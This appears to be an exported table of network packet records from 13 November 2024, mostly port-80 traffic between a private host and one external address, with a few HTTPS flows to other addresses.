Nov 13, 2024 14:41:35.268492937 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.268507004 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.268518925 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.268521070 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.268533945 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.268544912 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.268563032 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.268591881 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270041943 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270055056 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270068884 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270097971 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270124912 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270272970 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270289898 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270303965 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270328999 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270329952 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270344973 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270350933 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270359039 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270374060 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270384073 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270414114 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270416975 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270430088 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270445108 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270458937 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270467043 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270477057 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270489931 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270493984 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270536900 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270549059 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270564079 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270582914 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270596027 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270602942 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270611048 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270625114 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270625114 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270653009 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270682096 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270699024 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270710945 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270724058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270736933 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270750046 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270751953 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270765066 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270778894 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270786047 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270792007 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270818949 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270848989 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270849943 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270863056 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270881891 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270896912 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270911932 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270911932 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270929098 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270935059 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270950079 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270950079 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270966053 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270982027 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.270984888 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.270999908 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271003008 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.271017075 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271029949 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271039963 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.271061897 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.271280050 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271292925 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271306038 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271331072 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271337032 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.271346092 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271352053 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.271361113 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271374941 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271388054 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271389008 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.271404028 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271415949 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.271418095 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271442890 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.271461010 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.271800995 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271843910 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.271867990 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271881104 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271895885 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271922112 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271923065 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.271938086 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271951914 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.271951914 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271966934 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271981955 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.271990061 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.271996021 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.272012949 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.272022009 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.272027969 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.272042036 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.272044897 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.272052050 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.272059917 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.272070885 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.272073984 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.272087097 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.272109032 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.272140026 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.276101112 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.276120901 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.276134968 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.276148081 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.276163101 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.276165962 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.276175976 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.276209116 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.276235104 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.276246071 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.276252031 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.276273966 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.276289940 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.276304007 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.276304960 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.276319027 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.276333094 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.276336908 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.276360989 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.276391983 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.276989937 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.277024031 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.277036905 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.277050018 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.277064085 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.277076006 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.277076960 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.277092934 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.277105093 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.277106047 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.277123928 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.277137995 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.277147055 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.277152061 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.277177095 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.277194977 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.304507017 CET	49937	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:35.304548025 CET	443	49937	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:35.305841923 CET	49937	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:35.306479931 CET	49937	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:35.306497097 CET	443	49937	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:35.309225082 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309284925 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309298038 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309315920 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309326887 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.309329033 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309344053 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309357882 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309367895 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.309401035 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309412956 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.309416056 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309429884 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309442043 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.309473991 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.309622049 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309660912 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.309700012 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309714079 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309751987 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.309762955 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309777021 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309792042 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309803963 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309825897 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.309859037 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309859037 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.309875011 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309887886 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309896946 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.309912920 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309926987 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309931993 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.309943914 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309956074 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309963942 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.309973001 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.309983015 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.309987068 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310002089 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310039043 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310039043 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310054064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310064077 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310082912 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310091972 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310122967 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310139894 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310152054 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310163975 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310178041 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310189962 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310193062 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310204983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310211897 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310223103 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310233116 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310237885 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310250998 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310265064 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310300112 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310353041 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310368061 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310381889 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310393095 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310405970 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310405970 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310422897 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310430050 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310436964 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310484886 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310484886 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310502052 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310513020 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310519934 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310532093 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310545921 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310551882 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310559034 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310569048 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310570955 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310584068 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310621977 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310729980 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310749054 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310761929 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310766935 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310798883 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310812950 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310817957 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310825109 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310837030 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310852051 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310859919 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310869932 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310880899 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310910940 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310911894 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310926914 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310944080 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310951948 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310962915 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.310965061 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310978889 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.310982943 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311002016 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311018944 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311067104 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311079979 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311090946 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311104059 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311115980 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311117887 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311132908 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311147928 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311153889 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311161995 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311173916 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311206102 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311245918 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311261892 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311300039 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311337948 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311374903 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311387062 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311400890 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311412096 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311413050 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311427116 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311435938 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311439991 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311455011 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311460018 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311491013 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311522007 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311789036 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311800957 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311830044 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311849117 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311851025 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311866045 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311878920 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311886072 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311893940 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311908007 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.311908007 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311927080 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.311964989 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.312005997 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.312019110 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.312031031 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.312047005 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.312053919 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.312061071 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.312076092 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.312089920 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.312089920 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.312104940 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.312113047 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.312124014 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.312129021 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.312165976 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.312197924 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.312212944 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.312225103 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.312247038 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.312271118 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:35.322410107 CET	443	49750	104.98.116.138	192.168.2.7
Nov 13, 2024 14:41:35.322511911 CET	49750	443	192.168.2.7	104.98.116.138
Nov 13, 2024 14:41:35.345730066 CET	443	49931	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.346539974 CET	49931	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.346560001 CET	443	49931	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.347079039 CET	49931	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.347088099 CET	443	49931	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.349493980 CET	443	49930	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.349886894 CET	49930	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.349905014 CET	443	49930	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.350554943 CET	49930	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:35.350573063 CET	443	49930	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:35.355343103 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.355367899 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.355380058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:35.355401039 CET	49832	80	192.168.2.7	185.215.113.206
